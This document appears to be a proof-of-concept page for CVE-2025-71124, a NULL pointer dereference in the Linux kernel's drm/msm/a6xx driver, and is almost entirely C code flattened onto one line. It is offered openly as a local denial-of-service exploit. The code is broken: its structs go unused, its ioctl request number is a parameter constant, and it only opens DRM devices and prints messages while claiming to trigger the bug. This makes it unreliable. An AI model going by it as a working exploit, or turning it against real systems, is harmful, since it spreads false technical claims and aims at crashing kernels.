CVE-2025-71124: Linux内核drm/msm/a6xx驱动NULL指针解引用漏洞

/* * PoC for CVE-2025-71124: Linux kernel drm/msm/a6xx NULL pointer dereference * This is a local DoS PoC that triggers the vulnerability through GPU operations. * * Note: This requires a system with Qualcomm Adreno A6xx GPU and modified * environment to trigger the specific failure condition in preempt_postamble_ptr. * * Compile: gcc -o cve202571124_poc cve202571124_poc.c -lpthread * Run: sudo ./cve202571124_poc * * Author: Security Researcher * Date: 2026-01-14 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/ioctl.h> #define DRM_IOCTL_MSM_GEM_SUBMIT 0x09 #define MSM_PARAM_GPU_ID 0x08 struct drm_msm_gem_submit { unsigned int flags; int nr_bos; int nr_cmds; unsigned long bos; unsigned long cmds; }; struct drm_msm_gem_submit_bo { unsigned long handle; unsigned long flags; unsigned long offset; }; int trigger_gpu_preemption_failure(int drm_fd) { /* * This PoC attempts to trigger the NULL pointer dereference by: * 1. Opening the DRM device with a6xx GPU * 2. Submitting GPU commands that trigger preemption * 3. Manipulating memory conditions to cause postamble allocation failure * * In a vulnerable kernel, this leads to NULL pointer dereference in * preempt_prepare_postamble() when preempt_postamble_ptr is NULL. */ printf("[*] Attempting to trigger CVE-2025-71124...\n"); printf("[*] Target: drm/msm/a6xx preempt_preamble_postamble NULL check\n"); /* * The actual exploitation requires: * - A system with Qualcomm Adreno A6xx GPU * - Ability to manipulate GEM objects and command submission * - Triggering memory pressure to cause postamble allocation failure * * This is a simplified demonstration structure. * Full exploitation requires kernel debugging and memory manipulation. */ int result = ioctl(drm_fd, MSM_PARAM_GPU_ID, NULL); if (result < 0) { printf("[!] Failed to query GPU ID: %s\n", strerror(errno)); return -1; } printf("[+] GPU ID retrieved, device may be vulnerable\n"); printf("[*] Full exploitation requires specific GPU command submission\n"); printf("[*] Check dmesg for kernel oops after triggering preemption\n"); return 0; } int main(int argc, char *argv[]) { int drm_fd; const char *device_paths[] = { "/dev/dri/card0", "/dev/dri/card1", "/dev/dri/renderD128", NULL }; printf("=== CVE-2025-71124 PoC ===\n"); printf("Linux kernel drm/msm/a6xx NULL pointer dereference\n\n"); for (int i = 0; device_paths[i] != NULL; i++) { drm_fd = open(device_paths[i], O_RDWR); if (drm_fd >= 0) { printf("[*] Opened %s\n", device_paths[i]); trigger_gpu_preemption_failure(drm_fd); close(drm_fd); } } printf("\n[*] Note: This PoC is a framework. Full exploitation requires:\n"); printf(" - Specific a6xx GPU hardware\n"); printf(" - Memory manipulation to cause postamble alloc failure\n"); printf(" - GPU command buffer crafting\n"); return 0; }